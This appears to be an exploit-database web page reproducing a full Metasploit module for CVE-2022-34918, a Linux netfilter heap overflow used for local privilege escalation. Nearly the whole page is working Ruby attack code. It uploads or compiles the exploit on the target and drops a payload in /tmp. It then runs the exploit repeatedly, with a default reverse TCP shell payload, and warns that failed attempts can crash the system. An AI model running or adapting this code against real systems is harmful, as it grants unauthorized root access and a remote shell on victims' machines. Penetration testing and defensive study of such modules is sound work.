Netfilter nft_set_elem_init Heap Overflow Privilege Escalation

2022.09.28
Risk: High
Local: No
Remote: Yes

# frozen_string_literal: true ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = GreatRanking include Msf::Post::Common include Msf::Post::Linux::Priv include Msf::Post::Linux::System include Msf::Post::Linux::Kernel include Msf::Post::Linux::Compile include Msf::Post::File include Msf::Exploit::EXE include Msf::Exploit::FileDropper prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Netfilter nft_set_elem_init Heap Overflow Privilege Escalation', 'Description' => %q{ An issue was discovered in the Linux kernel through 5.18.9. A type confusion bug in nft_set_elem_init (leading to a buffer overflow) could be used by a local attacker to escalate privileges. The attacker can obtain root access, but must start with an unprivileged user namespace to obtain CAP_NET_ADMIN access. The issue exists in nft_setelem_parse_data in net/netfilter/nf_tables_api.c. }, 'License' => MSF_LICENSE, 'Author' => [ 'Arthur Mongodin <amongodin[at]randorisec.fr> (@_Aleknight_)', # Vulnerability discovery, original exploit PoC 'Redouane NIBOUCHA <rniboucha[at]yahoo.fr>' # Metasploit module, exploit PoC updates ], 'DisclosureDate' => '2022-02-07', 'Platform' => 'linux', 'Arch' => [ARCH_X64], 'SessionTypes' => %w[meterpreter shell], 'DefaultOptions' => { 'Payload' => 'linux/x64/shell_reverse_tcp', 'PrependSetresuid' => true, 'PrependSetresgid' => true, 'PrependFork' => true, 'WfsDelay' => 30 }, 'Targets' => [['Auto', {}]], 'DefaultTarget' => 0, 'Notes' => { 'Reliability' => [UNRELIABLE_SESSION], # The module could fail to get root sometimes. 'Stability' => [OS_RESOURCE_LOSS, CRASH_OS_DOWN], # After too many failed attempts, the system needs to be restarted. 'SideEffects' => [ARTIFACTS_ON_DISK] }, 'References' => [ ['CVE', '2022-34918'], ['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2022-34918'], ['URL', 'https://ubuntu.com/security/CVE-2022-34918'], ['URL', 'https://www.randorisec.fr/crack-linux-firewall/'], ['URL', 'https://github.com/randorisec/CVE-2022-34918-LPE-PoC'] ] ) ) register_options( [ OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w[Auto True False] ]), OptInt.new('MAX_TRIES', [ true, 'Number of times to execute the exploit', 5]) ] ) register_advanced_options( [ OptString.new('WritableDir', [true, 'Directory to write persistent payload file.', '/tmp']) ] ) end def base_dir datastore['WritableDir'] end def upload_exploit_binary @executable_path = ::File.join(base_dir, rand_text_alphanumeric(5..10)) upload_and_chmodx(@executable_path, exploit_data('CVE-2022-34918', 'ubuntu.elf')) register_file_for_cleanup(@executable_path) end def upload_payload_binary @payload_path = ::File.join(base_dir, rand_text_alphanumeric(5..10)) upload_and_chmodx(@payload_path, generate_payload_exe) register_file_for_cleanup(@payload_path) end def upload_source @exploit_source_path = ::File.join(base_dir, rand_text_alphanumeric(5..10)) mkdir(@exploit_source_path) register_dir_for_cleanup(@exploit_source_path) dirs = [ '.' ] until dirs.empty? current_dir = dirs.pop dir_full_path = ::File.join(::Msf::Config.install_root, 'external/source/exploits/CVE-2022-34918', current_dir) Dir.entries(dir_full_path).each do |ent| next if ent == '.' || ent == '..' full_path_host = ::File.join(dir_full_path, ent) relative_path = ::File.join(current_dir, ent) full_path_target = ::File.join(@exploit_source_path, current_dir, ent) if File.file?(full_path_host) vprint_status("Uploading #{relative_path} to #{full_path_target}") upload_file(full_path_target, full_path_host) elsif File.directory?(full_path_host) vprint_status("Creating the directory #{full_path_target}") mkdir(full_path_target) dirs.push(relative_path) else print_error("#{full_path_host} doesn't look like a file or a directory") end end end end def compile_source fail_with(Failure::BadConfig, 'make command not available on the target') unless command_exists?('make') info = cmd_exec("make -C #{@exploit_source_path}") vprint_status(info) @executable_path = ::File.join(@exploit_source_path, 'ubuntu.elf') if exists?(@executable_path) chmod(@executable_path, 0o700) unless executable?(@executable_path) print_good('Compilation was successful') else fail_with(Failure::UnexpectedReply, 'Compilation has failed (executable not found)') end end def run_payload success = false 1.upto(datastore['MAX_TRIES']) do |i| vprint_status "Execution attempt ##{i}" info = cmd_exec(@executable_path, @payload_path) info.each_line do |line| vprint_status(line.chomp) end if session_created? success = true break end sleep 3 end if success print_good('A session has been created') else print_bad('Exploit has failed') end end def get_external_source_code(cve, file) file_path = ::File.join(::Msf::Config.install_root, "external/source/exploits/#{cve}/#{file}") ::File.binread(file_path) end def module_check release = kernel_release version = "#{release} #{kernel_version.split(' ').first}" ubuntu_offsets = strip_comments(get_external_source_code('CVE-2022-34918', 'src/util.c')).scan(/kernels\[\] = \{(.+?)\};/m).flatten.first ubuntu_kernels = ubuntu_offsets.scan(/"(.+?)"/).flatten if ubuntu_kernels.empty? fail_with(Msf::Module::Failure::BadConfig, 'Error parsing the list of supported kernels.') end fail_with(Failure::NoTarget, "No offsets for '#{version}'") unless ubuntu_kernels.include?(version) fail_with(Failure::BadConfig, "#{base_dir} is not writable.") unless writable?(base_dir) fail_with(Failure::BadConfig, '/tmp is not writable.') unless writable?('/tmp') if is_root? fail_with(Failure::BadConfig, 'Session already has root privileges.') end end def check config = kernel_config return CheckCode::Unknown('Could not retrieve kernel config') if config.nil? return CheckCode::Safe('Kernel config does not include CONFIG_USER_NS') unless config.include?('CONFIG_USER_NS=y') return CheckCode::Safe('Unprivileged user namespaces are not permitted') unless userns_enabled? return CheckCode::Safe('LKRG is installed') if lkrg_installed? arch = kernel_hardware return CheckCode::Safe("System architecture #{arch} is not supported") unless arch.include?('x86_64') release = kernel_release version, patchlvl = release.match(/^(\d+)\.(\d+)/)&.captures if version&.to_i == 5 && patchlvl && (7..19).include?(patchlvl.to_i) return CheckCode::Appears # ("The kernel #{version} appears to be vulnerable, but no offsets are available for this version") end CheckCode::Safe end def exploit module_check unless datastore['ForceExploit'] if datastore['COMPILE'] == 'True' || (datastore['COMPILE'] == 'Auto' && command_exists?('make')) print_status('Uploading the exploit source code') upload_source print_status('Compiling the exploit source code') compile_source else print_status('Dropping pre-compiled binaries to system...') upload_exploit_binary end print_status('Uploading payload...') upload_payload_binary print_status('Running payload on remote system...') run_payload end end


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2022, cxsecurity.com

 

Back to Top